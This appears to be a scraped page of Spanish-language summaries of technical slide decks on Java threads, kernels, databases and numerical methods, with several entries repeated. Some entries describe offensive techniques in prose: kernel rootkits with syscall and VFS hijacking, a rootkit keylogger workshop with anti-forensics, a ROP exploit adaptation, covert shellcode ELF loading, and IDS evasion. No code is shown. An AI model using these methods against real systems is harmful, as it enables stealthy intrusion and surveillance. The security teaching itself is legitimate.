Este documento habla sobre la construcción de rootkits básicos. Explica qué es un rootkit, los tipos comunes, y funciones como esconder procesos y archivos. Luego cubre consideraciones para desarrollo en kernel vs espacio de usuario, y ejemplos como módulos "Hello World" y manejo de parámetros. Por último, aborda temas avanzados como trabajar con la estructura de tareas, esconder el módulo cargado, y técnicas de hijacking como la tabla de syscalls y VFS.
Jose Selvi - Adaptando exploits para evitar la frustración [RootedSatellite V...RootedCON
El documento describe cómo adaptar un exploit para una vulnerabilidad (CVE-2012-6096) en un programa (history.cgi) para que funcione en un sistema objetivo diferente. Explica cómo depurar el programa CGI, identificar la dirección de retorno y las direcciones de funciones como system() y exit(), y construir una secuencia de instrucciones ROP para ejecutar comandos con privilegios de sistema a pesar de las protecciones como ASLR y NX.
Linux Kernel - System Calls - Modules - DriversMartin Baez
Este documento resume los conceptos clave de los sistemas operativos, incluyendo: 1) El kernel, system calls y módulos; 2) Cómo las system calls permiten a los procesos de usuario acceder a funciones del kernel; 3) Los módulos extienden la funcionalidad del kernel sin necesidad de recompilarlo. También explica los dispositivos y cómo los controlan los drivers implementados como módulos del kernel.
El documento contiene varios ejercicios sobre el uso de hilos en Java. El primer ejercicio crea tres hilos que imprimen su nombre después de un retardo aleatorio. El segundo ejercicio muestra cómo crear un hilo para actualizar un contador en un applet Java. Los ejercicios posteriores presentan ejemplos más complejos de hilos para simular cajeras atendiendo clientes y animales compitiendo en una carrera.
Este documento proporciona una introducción a ROS (Robot Operating System). Explica que ROS es un framework de código abierto para el desarrollo de software de robótica que facilita la reutilización de código y componentes a través de una arquitectura modular y de mensajería. También describe algunos conceptos clave de ROS como nodos, topics, paquetes, namespaces y transformaciones de coordenadas. Finalmente, incluye ejemplos de código para publicar y suscribirse a topics así como definir y usar mensajes personalizados.
Este documento describe la concurrencia en Java, incluyendo la creación de hilos de ejecución mediante la extensión de la clase Thread y la sobrecarga del método run(), así como el ciclo de vida de los hilos que pasan por estados como nuevo, en ejecución, preparado y bloqueado.
El documento describe las diferencias entre procesos y hilos en la programación concurrente. Un proceso tiene sus propios recursos privados como memoria, mientras que los hilos comparten los recursos de un proceso. En Java, la programación concurrente se basa principalmente en hilos. La clase Thread permite crear nuevos hilos que ejecutan el método run() de forma concurrente al hilo principal. También es posible implementar la interfaz Runnable para crear hilos sin heredar de Thread.
Este documento introduce DTrace, una herramienta de depuración para sistemas operativos Solaris y OpenSolaris. Explica qué es DTrace, cómo funciona a través de puntos de instrumentación llamados "probes" y "providers", y provee ejemplos de su uso para medir el rendimiento de aplicaciones y detectar problemas. También describe una interfaz gráfica llamada CHIME que permite visualizar los datos recopilados por DTrace.
El documento trata sobre hilos (threads) en Java. Explica que un hilo es un flujo de ejecución independiente que puede ejecutarse en paralelo a otros. Detalla la clase Thread de Java y cómo crear e implementar hilos heredando de Thread o implementando la interfaz Runnable. También cubre conceptos como el ciclo de vida de los hilos y la sincronización.
Jose Selvi - Adaptando exploits para evitar la frustración [RootedSatellite V...RootedCON
El documento describe cómo adaptar un exploit para una vulnerabilidad (CVE-2012-6096) en un programa (history.cgi) para que funcione en un sistema objetivo diferente. Explica cómo depurar el programa CGI, identificar la dirección de retorno y las direcciones de funciones como system() y exit(), y construir una secuencia de instrucciones ROP para ejecutar comandos con privilegios de sistema a pesar de las protecciones como ASLR y NX.
Linux Kernel - System Calls - Modules - DriversMartin Baez
Este documento resume los conceptos clave de los sistemas operativos, incluyendo: 1) El kernel, system calls y módulos; 2) Cómo las system calls permiten a los procesos de usuario acceder a funciones del kernel; 3) Los módulos extienden la funcionalidad del kernel sin necesidad de recompilarlo. También explica los dispositivos y cómo los controlan los drivers implementados como módulos del kernel.
El documento contiene varios ejercicios sobre el uso de hilos en Java. El primer ejercicio crea tres hilos que imprimen su nombre después de un retardo aleatorio. El segundo ejercicio muestra cómo crear un hilo para actualizar un contador en un applet Java. Los ejercicios posteriores presentan ejemplos más complejos de hilos para simular cajeras atendiendo clientes y animales compitiendo en una carrera.
Este documento proporciona una introducción a ROS (Robot Operating System). Explica que ROS es un framework de código abierto para el desarrollo de software de robótica que facilita la reutilización de código y componentes a través de una arquitectura modular y de mensajería. También describe algunos conceptos clave de ROS como nodos, topics, paquetes, namespaces y transformaciones de coordenadas. Finalmente, incluye ejemplos de código para publicar y suscribirse a topics así como definir y usar mensajes personalizados.
Este documento describe la concurrencia en Java, incluyendo la creación de hilos de ejecución mediante la extensión de la clase Thread y la sobrecarga del método run(), así como el ciclo de vida de los hilos que pasan por estados como nuevo, en ejecución, preparado y bloqueado.
El documento describe las diferencias entre procesos y hilos en la programación concurrente. Un proceso tiene sus propios recursos privados como memoria, mientras que los hilos comparten los recursos de un proceso. En Java, la programación concurrente se basa principalmente en hilos. La clase Thread permite crear nuevos hilos que ejecutan el método run() de forma concurrente al hilo principal. También es posible implementar la interfaz Runnable para crear hilos sin heredar de Thread.
Este documento introduce DTrace, una herramienta de depuración para sistemas operativos Solaris y OpenSolaris. Explica qué es DTrace, cómo funciona a través de puntos de instrumentación llamados "probes" y "providers", y provee ejemplos de su uso para medir el rendimiento de aplicaciones y detectar problemas. También describe una interfaz gráfica llamada CHIME que permite visualizar los datos recopilados por DTrace.
El documento trata sobre hilos (threads) en Java. Explica que un hilo es un flujo de ejecución independiente que puede ejecutarse en paralelo a otros. Detalla la clase Thread de Java y cómo crear e implementar hilos heredando de Thread o implementando la interfaz Runnable. También cubre conceptos como el ciclo de vida de los hilos y la sincronización.
Este documento introduce el lenguaje de descripción de hardware VHDL. Explica que VHDL permite describir el comportamiento y estructura de un sistema digital usando un lenguaje de texto. Detalla algunas características clave de VHDL como permitir especificar qué debe hacer un sistema mediante comportamiento o cómo debe funcionar usando algoritmos. También resume brevemente la historia y uso de VHDL.
Este documento presenta información sobre procesos y threads. Explica que los procesos son programas en ejecución identificados por un PID, mientras que los threads son unidades mínimas de trabajo que comparten el espacio de direcciones de un proceso. También describe herramientas para la sincronización de threads como mutexes y semáforos, e indica que el módulo threading de Python soporta la programación concurrente mediante threads mientras que multiprocessing permite la ejecución de procesos en paralelo.
El documento habla sobre hilos en Java. Explica que un hilo es un flujo de ejecución y que su uso conlleva riesgos de concurrencia. Describe cómo definir e iniciar un hilo que herede de Thread o implemente Runnable. También cubre el ciclo de vida de los hilos, la interrupción, el bloqueo con sleep, y la necesidad de sincronización para evitar inconsistencias al acceder a datos compartidos.
Desarrollo de drivers y aplicaciones para FreeRtosMarcelo Sanz
FreeRtos es uno de los sistemas operativos en tiempo real que mas atencion a llamado en los ultimos tiempos por su simplicidad de uso, versatilidad y gran disponibilidad de ports para cada uno de los microcontroladores que se encuentran en el mercado. Igualmente no es trivial el desarrollo generico de aplicaciones para cualquier arquitectura cuando se necesita relacionarse con los perifericos que cada uno de estos dispositivos provee.
Este tutorial presentara conceptos y ejemplos de como desarrollar drivers que permitan el acceso de las aplicaciones a un dispositivo, generando la abstraccion necesaria entre la capa de aplicacion y el hardware del periferico.
Este documento describe el procesamiento superescalar, que permite ejecutar múltiples instrucciones en paralelo en cada ciclo de reloj. Explica la historia del procesamiento superescalar desde la CDC 6600 en 1965 hasta su uso generalizado en CPUs desde 1998. También define el procesamiento superescalar, describe su importancia para lograr mayor productividad, y analiza limitaciones como las dependencias de datos y recursos, así como las diferencias entre diseños superescalares y supersegmentados.
Este documento describe los principales aspectos de seguridad del lenguaje Java, incluyendo su modelo de seguridad basado en la verificación de tipos, el aislamiento de aplicaciones mediante el uso de sandboxes, y la comprobación de bytecode. También explica cómo la máquina virtual de Java controla el acceso a recursos y memoria para proporcionar seguridad.
El documento describe los conceptos de threads y programación multithread en Java. Específicamente, explica que (1) los threads comparten recursos y permiten la ejecución concurrente de tareas, a diferencia de los procesos que son independientes, y (2) Java permite la creación explícita de threads para lograr mayor flexibilidad y rendimiento en aplicaciones.
La serialización de objetos permite convertir objetos en secuencias de bits para poder reconstruirlos posteriormente. Esto permite almacenar objetos en archivos y reconstruirlos en otro momento, incluso en otra máquina virtual. Para serializar un objeto se usa ObjectOutputStream sobre un OutputStream, y para reconstruirlo se usa ObjectInputStream sobre un InputStream.
Este documento presenta una introducción a los applets de Java, incluyendo cómo se crean, sus características, ciclo de vida y cómo se incluyen en páginas web. Explica los pasos para crear un primer applet simple que muestra el texto "¡Hola Mundo!" y proporciona ejemplos de código.
La serialización convierte objetos en secuencias de bytes para guardarlos o enviarlos, y luego reconstruirlos con los mismos valores. Para que un objeto sea serializable, su clase debe implementar la interfaz Serializable o Externalizable. Los flujos de entrada y salida de objetos usan clases derivadas de InputStream u OutputStream con ObjectInputStream y ObjectOutputStream.
Este módulo cubre los hilos en Java, los cuales permiten que un programa realice múltiples tareas al mismo tiempo. Se explica cómo crear hilos, controlar su ejecución y proteger los datos compartidos. Se definen los hilos, sus estados de ciclo de vida y métodos como wait(), notify() y synchronized. También se describen formas comunes de crear hilos como implementando Runnable o extendiendo Thread.
El documento describe varios mecanismos de comunicación entre procesos en Java, incluyendo sockets TCP y UDP, multicast, URLs y RMI. Los sockets TCP son orientados a conexión mientras que los sockets UDP permiten el envío asíncrono de mensajes. La clase URL encapsula la conexión TCP. RMI permite la invocación remota de operaciones para desarrollar sistemas distribuidos.
El documento describe las especificaciones para desarrollar un programa que simule el interfaz de entrada de una tarjeta de red. La entrada se implementa mediante dos buffers: un primer buffer de 4 tramas y un segundo buffer de espacio ilimitado con 3 puertos. Cuando el primer buffer se llena, envía las 2 tramas de mayor prioridad al segundo buffer. Se creará una clase para instanciar el sistema de entrada y enviar 6 tramas.
La multitarea permite la ejecución simultánea de varias tareas compartiendo un único procesador, mientras que el multiproceso requiere de múltiples procesadores. Java permite la programación multitarea a través de hilos implementados con la clase Thread o la interfaz Runnable. El framework de concurrencia de Java simplifica el desarrollo de aplicaciones multitarea a través de estructuras de datos concurrentes, variables atómicas, bloqueos y otras utilidades.
Este documento describe la gestión de procesos en sistemas operativos. Explica los conceptos básicos de procesos, como los parámetros de un proceso como el PID y el proceso padre. Luego describe comandos como ps, pstree y top para monitorear procesos. También cubre la ejecución de procesos en primer y segundo plano, y cómo enviar señales a procesos usando kill. Finalmente, explica cómo controlar trabajos desde la terminal usando comandos como bg, fg y jobs.
Este documento describe diferentes enfoques para escribir clases contenedoras que exponen funciones de bibliotecas nativas en Java. Explica el enfoque de uno-a-uno, donde cada función nativa se mapea a un método nativo único. Luego introduce el concepto de "stubs compartidas", donde una función stub distribuye llamadas a otras funciones nativas, simplificando la tarea de escribir clases contenedoras. Finalmente, discute las ventajas e inconvenientes de ambos enfoques.
Este documento describe las características de los procesadores superescalares. Discuten el paralelismo, diversificación y dinamismo que permiten la ejecución de múltiples instrucciones simultáneamente. También describe las seis etapas principales de un procesador superescalar y cómo manejan las dependencias entre instrucciones mediante técnicas como el renombramiento de registros y la especulación de saltos condicionales.
Este documento describe las principales bibliotecas de Java (API) que proporcionan funcionalidades comunes para el desarrollo de aplicaciones. Incluye bibliotecas para entrada/salida, interfaz gráfica de usuario, redes, matemáticas, bases de datos y más. Cada biblioteca contiene clases, interfaces y excepciones relacionadas con su ámbito. La documentación completa de la API de Java está disponible en línea.
En este taller práctico aprenderemos a desarrollar módulos de Kernel que funcionen como rootkits. Al final del taller el participante podrá mostrar un pequeño rootkit que funcione como keylogger. Entenderá y desarrollara técnicas para ocultarse y métodos anti-forenses.
Objetivo Principal:
Aprender las técnicas de desarrollo de Rootkits
Objetivos Secundarios:
Conocer las características del Kernel.
Aprender a generar módulos de Kernel
Conociendo algunas téncias (VFS Hijacking, Syscall Hijacking, StructTask Hijack, Infecting LKM’s)
Temario
Introducción a los Rootkits
Introducción a los Módulos de Kernel
Consideraciones de Programación
Parámetros de Módulos
Estructuras del Kernel
Hijacking
Prácticas
El módulo “Hello World”
Manejando Parámetros en el módulo.
Trabajando con la task_struct
Escondiendo módulos
Hijacking de /proc
Hijacking de syscall
Creando de un keylogger
Requisitos:
Conocimientos medios en C
Manejo básico/medio de linux
Una PC/Laptop con VirtualBox (Se entregará a cada participante una imágen con Debian 64Bits para que comiencen a desarrollar).
1) El documento describe la creación y gestión de procesos e hilos en Linux. Incluye ejemplos de cómo crear procesos con fork() y hilos con pthread_create(), y cómo comunicarlos y sincronizarlos con wait(), exit(), join() y otras funciones.
2) También explica conceptos básicos como los identificadores de proceso (pid), la estructura jerárquica de procesos, y cómo los procesos e hilos comparten y gestionan la memoria de forma independiente.
3) Finalmente, propone actividades prácticas
El documento describe los aspectos básicos de sintaxis de Visual Basic .NET, incluyendo declaración de variables, tipos de datos, estructuras de control como If, Select Case, bucles, y manejo de excepciones con Try-Catch. También cubre temas como programación orientada a objetos, eventos, y el uso del lenguaje intermedio IL.
Este documento introduce el lenguaje de descripción de hardware VHDL. Explica que VHDL permite describir el comportamiento y estructura de un sistema digital usando un lenguaje de texto. Detalla algunas características clave de VHDL como permitir especificar qué debe hacer un sistema mediante comportamiento o cómo debe funcionar usando algoritmos. También resume brevemente la historia y uso de VHDL.
Este documento presenta información sobre procesos y threads. Explica que los procesos son programas en ejecución identificados por un PID, mientras que los threads son unidades mínimas de trabajo que comparten el espacio de direcciones de un proceso. También describe herramientas para la sincronización de threads como mutexes y semáforos, e indica que el módulo threading de Python soporta la programación concurrente mediante threads mientras que multiprocessing permite la ejecución de procesos en paralelo.
El documento habla sobre hilos en Java. Explica que un hilo es un flujo de ejecución y que su uso conlleva riesgos de concurrencia. Describe cómo definir e iniciar un hilo que herede de Thread o implemente Runnable. También cubre el ciclo de vida de los hilos, la interrupción, el bloqueo con sleep, y la necesidad de sincronización para evitar inconsistencias al acceder a datos compartidos.
Desarrollo de drivers y aplicaciones para FreeRtosMarcelo Sanz
FreeRtos es uno de los sistemas operativos en tiempo real que mas atencion a llamado en los ultimos tiempos por su simplicidad de uso, versatilidad y gran disponibilidad de ports para cada uno de los microcontroladores que se encuentran en el mercado. Igualmente no es trivial el desarrollo generico de aplicaciones para cualquier arquitectura cuando se necesita relacionarse con los perifericos que cada uno de estos dispositivos provee.
Este tutorial presentara conceptos y ejemplos de como desarrollar drivers que permitan el acceso de las aplicaciones a un dispositivo, generando la abstraccion necesaria entre la capa de aplicacion y el hardware del periferico.
Este documento describe el procesamiento superescalar, que permite ejecutar múltiples instrucciones en paralelo en cada ciclo de reloj. Explica la historia del procesamiento superescalar desde la CDC 6600 en 1965 hasta su uso generalizado en CPUs desde 1998. También define el procesamiento superescalar, describe su importancia para lograr mayor productividad, y analiza limitaciones como las dependencias de datos y recursos, así como las diferencias entre diseños superescalares y supersegmentados.
Este documento describe los principales aspectos de seguridad del lenguaje Java, incluyendo su modelo de seguridad basado en la verificación de tipos, el aislamiento de aplicaciones mediante el uso de sandboxes, y la comprobación de bytecode. También explica cómo la máquina virtual de Java controla el acceso a recursos y memoria para proporcionar seguridad.
El documento describe los conceptos de threads y programación multithread en Java. Específicamente, explica que (1) los threads comparten recursos y permiten la ejecución concurrente de tareas, a diferencia de los procesos que son independientes, y (2) Java permite la creación explícita de threads para lograr mayor flexibilidad y rendimiento en aplicaciones.
La serialización de objetos permite convertir objetos en secuencias de bits para poder reconstruirlos posteriormente. Esto permite almacenar objetos en archivos y reconstruirlos en otro momento, incluso en otra máquina virtual. Para serializar un objeto se usa ObjectOutputStream sobre un OutputStream, y para reconstruirlo se usa ObjectInputStream sobre un InputStream.
Este documento presenta una introducción a los applets de Java, incluyendo cómo se crean, sus características, ciclo de vida y cómo se incluyen en páginas web. Explica los pasos para crear un primer applet simple que muestra el texto "¡Hola Mundo!" y proporciona ejemplos de código.
La serialización convierte objetos en secuencias de bytes para guardarlos o enviarlos, y luego reconstruirlos con los mismos valores. Para que un objeto sea serializable, su clase debe implementar la interfaz Serializable o Externalizable. Los flujos de entrada y salida de objetos usan clases derivadas de InputStream u OutputStream con ObjectInputStream y ObjectOutputStream.
Este módulo cubre los hilos en Java, los cuales permiten que un programa realice múltiples tareas al mismo tiempo. Se explica cómo crear hilos, controlar su ejecución y proteger los datos compartidos. Se definen los hilos, sus estados de ciclo de vida y métodos como wait(), notify() y synchronized. También se describen formas comunes de crear hilos como implementando Runnable o extendiendo Thread.
El documento describe varios mecanismos de comunicación entre procesos en Java, incluyendo sockets TCP y UDP, multicast, URLs y RMI. Los sockets TCP son orientados a conexión mientras que los sockets UDP permiten el envío asíncrono de mensajes. La clase URL encapsula la conexión TCP. RMI permite la invocación remota de operaciones para desarrollar sistemas distribuidos.
El documento describe las especificaciones para desarrollar un programa que simule el interfaz de entrada de una tarjeta de red. La entrada se implementa mediante dos buffers: un primer buffer de 4 tramas y un segundo buffer de espacio ilimitado con 3 puertos. Cuando el primer buffer se llena, envía las 2 tramas de mayor prioridad al segundo buffer. Se creará una clase para instanciar el sistema de entrada y enviar 6 tramas.
La multitarea permite la ejecución simultánea de varias tareas compartiendo un único procesador, mientras que el multiproceso requiere de múltiples procesadores. Java permite la programación multitarea a través de hilos implementados con la clase Thread o la interfaz Runnable. El framework de concurrencia de Java simplifica el desarrollo de aplicaciones multitarea a través de estructuras de datos concurrentes, variables atómicas, bloqueos y otras utilidades.
Este documento describe la gestión de procesos en sistemas operativos. Explica los conceptos básicos de procesos, como los parámetros de un proceso como el PID y el proceso padre. Luego describe comandos como ps, pstree y top para monitorear procesos. También cubre la ejecución de procesos en primer y segundo plano, y cómo enviar señales a procesos usando kill. Finalmente, explica cómo controlar trabajos desde la terminal usando comandos como bg, fg y jobs.
Este documento describe diferentes enfoques para escribir clases contenedoras que exponen funciones de bibliotecas nativas en Java. Explica el enfoque de uno-a-uno, donde cada función nativa se mapea a un método nativo único. Luego introduce el concepto de "stubs compartidas", donde una función stub distribuye llamadas a otras funciones nativas, simplificando la tarea de escribir clases contenedoras. Finalmente, discute las ventajas e inconvenientes de ambos enfoques.
Este documento describe las características de los procesadores superescalares. Discuten el paralelismo, diversificación y dinamismo que permiten la ejecución de múltiples instrucciones simultáneamente. También describe las seis etapas principales de un procesador superescalar y cómo manejan las dependencias entre instrucciones mediante técnicas como el renombramiento de registros y la especulación de saltos condicionales.
Este documento describe las principales bibliotecas de Java (API) que proporcionan funcionalidades comunes para el desarrollo de aplicaciones. Incluye bibliotecas para entrada/salida, interfaz gráfica de usuario, redes, matemáticas, bases de datos y más. Cada biblioteca contiene clases, interfaces y excepciones relacionadas con su ámbito. La documentación completa de la API de Java está disponible en línea.
En este taller práctico aprenderemos a desarrollar módulos de Kernel que funcionen como rootkits. Al final del taller el participante podrá mostrar un pequeño rootkit que funcione como keylogger. Entenderá y desarrollara técnicas para ocultarse y métodos anti-forenses.
Objetivo Principal:
Aprender las técnicas de desarrollo de Rootkits
Objetivos Secundarios:
Conocer las características del Kernel.
Aprender a generar módulos de Kernel
Conociendo algunas téncias (VFS Hijacking, Syscall Hijacking, StructTask Hijack, Infecting LKM’s)
Temario
Introducción a los Rootkits
Introducción a los Módulos de Kernel
Consideraciones de Programación
Parámetros de Módulos
Estructuras del Kernel
Hijacking
Prácticas
El módulo “Hello World”
Manejando Parámetros en el módulo.
Trabajando con la task_struct
Escondiendo módulos
Hijacking de /proc
Hijacking de syscall
Creando de un keylogger
Requisitos:
Conocimientos medios en C
Manejo básico/medio de linux
Una PC/Laptop con VirtualBox (Se entregará a cada participante una imágen con Debian 64Bits para que comiencen a desarrollar).
1) El documento describe la creación y gestión de procesos e hilos en Linux. Incluye ejemplos de cómo crear procesos con fork() y hilos con pthread_create(), y cómo comunicarlos y sincronizarlos con wait(), exit(), join() y otras funciones.
2) También explica conceptos básicos como los identificadores de proceso (pid), la estructura jerárquica de procesos, y cómo los procesos e hilos comparten y gestionan la memoria de forma independiente.
3) Finalmente, propone actividades prácticas
El documento describe los aspectos básicos de sintaxis de Visual Basic .NET, incluyendo declaración de variables, tipos de datos, estructuras de control como If, Select Case, bucles, y manejo de excepciones con Try-Catch. También cubre temas como programación orientada a objetos, eventos, y el uso del lenguaje intermedio IL.
Este documento describe una técnica llamada "Shellcode ELF loader" para ejecutar programas de forma encubierta en un sistema comprometido sin dejar evidencias. La técnica utiliza un objeto llamado "lxobject" que contiene el código binario a ejecutar, el contexto de la pila y un cargador de shellcode. Una herramienta llamada "Builder" ensambla el lxobject y la shellcode "Jumper" lo transfiere y activa en la máquina remota simulando un "userland execve". Esto permite ej
El documento describe SystemTap, una herramienta que permite extraer información del kernel de Linux en ejecución. SystemTap permite escribir scripts que nombran eventos y les asignan manejadores. Cuando ocurren los eventos, los manejadores recopilan y resumen datos del kernel. Los scripts de SystemTap se compilan a módulos de kernel que se cargan para recopilar datos. La herramienta facilita el diagnóstico de problemas de rendimiento y funcionalidad del sistema rastreando eventos del kernel como la entrada y salida de funciones.
Este documento describe el proceso de instalación y prueba de paquetes de código abierto para realidad aumentada. Se instalaron dependencias como OpenCV y GLUT, y paquetes como ARToolKit. Se compiló con éxito el ejemplo simpleTest.c usando un archivo Makefile. El script .sh permitió ejecutar el programa compilado y detectar con éxito un marcador usando la cámara web.
La función de Sparta es permitir realizar pruebas de penetración en una infraestructura de red, realizando diversas pruebas de penetración en la fase de escaneo y enumeración. Esto permite ahorrar tiempo al realizar una auditoria. Sparta utiliza herramientas como Nmap, Hydra y Nikto para escanear redes, identificar servicios y buscar vulnerabilidades de manera automatizada.
Este documento introduce el sistema operativo Linux. Explica que los usuarios pueden interactuar con Linux de tres formas: mediante una interfaz gráfica, comandos o acceso remoto. Describe los componentes clave de la interfaz gráfica X Window como el servidor X, gestores de ventanas y librerías. También cubre conceptos como estructura de directorios, comandos básicos, redirección de entrada/salida, niveles de ejecución y el proceso de arranque/parada del sistema.
El documento resume diferentes técnicas de ataque y defensa en sistemas operativos, incluyendo return-into-libc, vulnerabilidades de formateo de cadena, y la técnica off-by-one. Explica cómo estas técnicas como return-into-libc permiten la ejecución de código sin necesidad de shellcode en pilas no ejecutables, y cómo las vulnerabilidades de formateo de cadena pueden ser explotadas para controlar la pila y el flujo del programa. También advierte sobre los errores off-by-one que pueden ocurrir al
Presentación para el Hackmeeting III (MadHack 2002) que tuvo lugar entre los días 4 y 6 de octubre del 2002 en el Laboratorio 3 en Lavapies, Madrid. (v 1.0).
Describe los tipos de exploits más habituales, análisis de shellcodes comunes, sistemas de protección "anti-exploits", sistemas de evasión en shellcodes anti IDS y el código fuente contiene descripción detallada de su contenido.
Parcial I de Sistema de Operación – Semestre 201415Viviana Trujillo
Este documento contiene las instrucciones para un parcial sobre sistemas operativos. Incluye 5 preguntas con múltiples partes que cubren temas como variables de shell, makefiles, llamadas al sistema vs funciones de bibliotecas, procesos y jerarquías de procesos, scripts y compilación. Los estudiantes deben responder preguntas cortas, analizar código, explicar los pasos de comandos y crear un script recursivo o iterativo para calcular factoriales.
Este documento introduce PostgreSQL, un sistema de gestión de bases de datos objeto-relacional de código abierto. Explica las características principales de PostgreSQL como su propiedad ACID, características avanzadas como vistas e integridad referencial, e instalación, administración, objetos, tipos de datos, funciones y lenguajes procedurales. También cubre temas como seguridad, archivos clave y respaldos/restauraciones.
Este documento proporciona una introducción al uso del CLI (Command Line Interface) en routers y switches Cisco. Explica los diferentes modos de operación del CLI, comandos básicos como show, enable y configure terminal, y cómo configurar interfaces de red, rutas estáticas, acceso remoto y VLANs. También cubre protocolos de enrutamiento dinámico como RIP, EIGRP y OSPF, y conceptos de seguridad como DHCP Snooping y control de puertos.
La ALU 74181 puede realizar la operación A+B*B siguiendo estos pasos:
1) Configurar los primeros dos conjuntos de 4 bits para establecer los operandos A y B
2) Establecer el modo de operación "1000" en el tercer conjunto de 4 bits para indicar multiplicación
3) Asegurar que el bit de acarreo esté configurado como 1
Esto permitirá que la ALU realice la operación B*B y la sume a A según se requiere.
El microprocesador es el circuito integrado que funciona como el cerebro del computador, ejecutando instrucciones almacenadas en la memoria principal. Existen dos tipos principales de arquitecturas de microprocesador: CISC, que usa instrucciones complejas para reducir costos pero es más lento, e incluye procesadores Intel y Motorola, y RISC, que usa instrucciones simplificadas para ejecutar más rápido cada instrucción, e incluye procesadores MIPS, PA-RISC, SPARC y POWER PC.
El documento describe la estructura básica de un programa en C++. Consiste en encabezados, definición de constantes y variables globales, la función principal void main, y el cuerpo de la función principal entre llaves. También describe elementos como archivos de cabecera, comentarios, tipos de datos, operadores, identificadores y variables.
Este documento presenta el código HDL para un decodificador BCD a 7 segmentos. Describe la interfaz del decodificador, incluyendo las entradas, salidas y funciones. Explica conceptos clave como palabras reservadas, vectores, funciones y case statements. Finalmente, los estudiantes proporcionan conclusiones sobre las similitudes entre la programación HDL y los lenguajes de alto nivel como Java.
Code::Blocks es un IDE multiplataforma de código abierto que soporta múltiples compiladores como GCC y Clang. C++ es un lenguaje de programación diseñado para extender C con mecanismos de objetos. Un programa en C++ está definido por funciones, donde la función principal es main, y contiene directivas de preprocesador, declaraciones globales, y funciones definidas por el usuario.
Este documento proporciona una guía rápida para el manejo de la base de datos MySQL en Windows. Explica cómo instalar MySQL, conectarse al servidor, trabajar con bases de datos, tablas, y realizar consultas. También describe los tipos de datos soportados como enteros, decimales, texto y blobs, y cómo crear y modificar tablas mediante comandos SQL.
Este documento proporciona una guía rápida para el uso de la base de datos MySQL en Windows. Explica cómo instalar MySQL, conectarse al servidor, usar bases de datos y tablas, y realizar consultas. También cubre conceptos como índices y uniones. El objetivo es proporcionar una introducción básica a las funciones principales de MySQL de forma concisa.
Este documento discute la noción de libertad y cómo en realidad está limitada por factores como el sexo, clase social y privilegios desde el nacimiento. Señala que la mayoría de la población tiene deficiencias en su alimentación, educación y oportunidades laborales, mientras que la clase privilegiada obtiene una "bonanza" en todos los aspectos de la vida. Aunque existen leyes que prometen derechos para todos, en realidad favorecen a la élite y encasillan a la gente dentro de parámetros establecidos, limit
Método de la regla falsa (o metodo de la falsa posición)Tensor
Este documento describe el método de la regla falsa para encontrar las raíces de una función. Explica cómo establecer un intervalo inicial y calcular nuevas aproximaciones iterativamente hasta converger en una raíz. También muestra cómo implementar este método numéricamente usando Visual Basic para graficar las iteraciones y calcular las raíces de un polinomio de ejemplo.
Este documento describe el método de la bisección para encontrar raíces de una función. El método requiere dos valores iniciales en ambos lados de la raíz donde los valores funcionales tengan signos opuestos. A continuación, se muestra un ejemplo de aplicación del método de bisección para encontrar una raíz de la función x^3 + 2x^2 + 10x - 20 entre 0 y 4 a través de 13 iteraciones.
El documento describe los pasos para realizar una simulación del tráfico vehicular en Promodel utilizando una imagen de Google Maps que muestra las calles alrededor de un campus universitario. Se importa la imagen a Promodel, se marcan los semáforos y rutas, y se configuran los vehículos, tiempos de tránsito y paradas para simular el flujo vehicular durante 30 minutos.
Este documento presenta las fórmulas y conceptos básicos de la teoría de colas para sistemas con un solo canal y múltiples canales. Para sistemas con un solo canal, introduce las fórmulas para calcular la probabilidad de que el sistema esté vacío, el número promedio de unidades en la cola y en el sistema, los tiempos promedio de espera y en el sistema. Para sistemas con múltiples canales, extiende estas fórmulas para cuando hay k canales en paralelo.
Este documento presenta 5 problemas de programación en C++ sobre el uso de constantes simbólicas y macros. El objetivo es que los estudiantes aprendan a definir constantes con #define y const, y a crear macros para funciones como calcular el volumen de una esfera. Los problemas incluyen programas para calcular sumas, acceder a miembros de estructuras de datos, mostrar registros de empleados y seleccionar caracteres de una cadena.
Este documento presenta la práctica número 6 de la asignatura Fundamentos y Lógica de Programación. La práctica se enfoca en algoritmos de búsqueda como la búsqueda binaria. Incluye código C++ para la implementación de un juego espacial y una explicación de un algoritmo de búsqueda binaria. El objetivo es que los estudiantes aprendan y apliquen diferentes métodos de búsqueda.
El documento describe la herramienta Game Maker, la cual permite a usuarios crear sus propios videojuegos bidimensionales sin necesidad de conocimientos avanzados de programación. Game Maker fue creado en 1990 y ofrece diferentes versiones con características variables. Explica los pasos básicos para diseñar un juego en Game Maker como crear sprites, objetos, rooms y eventos.
Este documento presenta una práctica sobre el uso de punteros en C++. Incluye código de ejemplo de un juego espacial y varios programas que demuestran funciones básicas de punteros como almacenar y acceder a direcciones de memoria. También presenta conclusiones sobre el aprendizaje de punteros y enlaces a recursos bibliográficos adicionales sobre el tema.
El documento describe cómo crear y procesar archivos en C++. Explica que los archivos se utilizan para almacenar datos de forma permanente, mientras que las variables solo almacenan datos de forma temporal. Luego, presenta un ejemplo de programa que crea un archivo secuencial para almacenar registros de clientes con deudas, con el número de cuenta como clave de cada registro. El programa abre el archivo, comprueba si la apertura fue exitosa, y luego recopila datos de cliente e introduce cada registro en el archivo de forma secuencial.
Este documento describe cadenas y funciones de cadena en C++. Explica que las cadenas se almacenan como arrays de caracteres terminados en nulo y presenta conceptos como inicialización, declaración y asignación de cadenas. También resume funciones importantes para manipular cadenas en la biblioteca string.h como strcpy(), strcmp() y getline() y cómo pasar arrays y cadenas como parámetros en funciones.
El documento describe la simulación de un proceso de producción utilizando el software ProModel. Específicamente, se presenta un ejemplo de simulación de una prensa que procesa piezas que llegan cada 5 minutos de forma aleatoria y tarda 4 minutos en procesar cada pieza. Se explican los pasos para definir las localizaciones, entidades, frecuencia de llegadas y otros elementos necesarios para configurar el modelo en ProModel y simular el proceso durante 100 días.
1) El documento habla sobre ecuaciones diferenciales de segundo orden y cómo reducirlas a ecuaciones de primer orden. 2) Explica un método llamado reducción de orden que involucra sustituir una solución conocida de la ecuación de segundo orden para encontrar otra solución. 3) Presenta dos ejercicios como ejemplos de aplicar este método para resolver ecuaciones diferenciales de segundo orden.
El documento describe el método de Cauchy-Euler para resolver ecuaciones diferenciales y presenta el método de variación de parámetros como un enfoque alternativo más eficiente. Se explican tres casos para las raíces de la ecuación auxiliar de Cauchy-Euler y se proporcionan fórmulas para determinar las soluciones mediante variación de parámetros. Finalmente, se ilustra el método con dos ejemplos numéricos.
Coeficientes indeterminados enfoque de superposiciónTensor
